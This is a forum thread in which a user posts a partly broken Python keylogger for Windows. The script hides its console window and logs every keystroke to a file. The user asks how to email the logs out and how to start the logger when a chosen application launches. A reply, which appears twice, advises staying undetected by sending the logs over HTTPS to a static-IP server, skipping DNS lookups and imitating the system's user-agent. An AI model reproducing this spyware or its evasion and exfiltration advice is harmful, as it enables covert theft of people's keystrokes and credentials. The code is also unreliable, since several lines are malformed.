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Suggestions for my keylogger

Postby JJspace12 » Thu Mar 31, 2016 6:16 pm

import pyHook, pythoncom, sys, logging
import win32console, win32api, win32gui
import stmplib

textfile_log = 'C:/users/Jaden/desktop/test.txt'

file_log1 = 'C/users/logger.txt'
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

LOG_SENDMAIL = True
LOG_MAIL


If you have suggestions or ideas please tell me i would like to know. Also I would like to know how to implement something so it sends me an email of the txtlog and how to start and stop it when a certain application starts or closes.

def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')

print "You pressed: ", chr(event.Ascii)

logging.log(10,chr(event.Ascii))

return True


hooks_manager = pyHook.HookManagerhooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()

pythoncom.PumpMessages()
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Help to improve my keylogger

Postby JJspace12 » Fri Apr 01, 2016 12:49 am

If any could tell me how to make this launch and close when a .exe is launched or closed. Also how to attach an Email function to send the .txt file to me

import pyHook, pythoncom, sys, logging
import win32console, win32api, win32gui
import stmplib

textfile_log = 'C:/users/Jaden/Desktop/test.txt'

file_log1 = 'C/users/Jaden/Desktop/logger.txt'
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):

logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')

print "You pressed: ", chr(event.Ascii)

logging.log(10,chr(event.Ascii))

return True


hooks_manager = pyHook.HookManagerhooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()

pythoncom.PumpMessages()
Last edited by JJspace12 on Sun Apr 03, 2016 11:34 am, edited 3 times in total.
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Re: Suggestions for my keylogger

Postby Cool_Fire » Sun Apr 03, 2016 3:23 am

It looks like both "textfile_log" and "file_log1" are never used anywhere? Either way my first suggestion would be to use some windows environment variable in the path so you can be relatively sure it'll actually exist and be writable. Maybe something like TEMP, USERPROFILE or LOCALAPPDATA would be a sensible choice.

If you want to remain undetected on the system it might also make sense to post your logs over https rather then sending them out via email. Odd https traffic is usually pretty hard to spot. If you have some server with a static IP address to post to, you can even avoid having to do a DNS lookup.

You can do a lot more stuff like looking for a user-agent string that the system actually uses. Using a public service that doesn't seem suspicious etc. But this is usually only a benefit when there's active network inspection going on.
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Re: Suggestions for my keylogger

Postby Cool_Fire » Sun Apr 03, 2016 3:23 am

It looks like both "textfile_log" and "file_log1" are never used anywhere? Either way my first suggestion would be to use some windows environment variable in the path so you can be relatively sure it'll actually exist and be writable. Maybe something like TEMP, USERPROFILE or LOCALAPPDATA would be a sensible choice.

If you want to remain undetected on the system it might also make sense to post your logs over https rather then sending them out via email. Odd https traffic is usually pretty hard to spot. If you have some server with a static IP address to post to, you can even avoid having to do a DNS lookup.

You can do a lot more stuff like looking for a user-agent string that the system actually uses. Using a public service that doesn't seem suspicious etc. But this is usually only a benefit when there's active network inspection going on.
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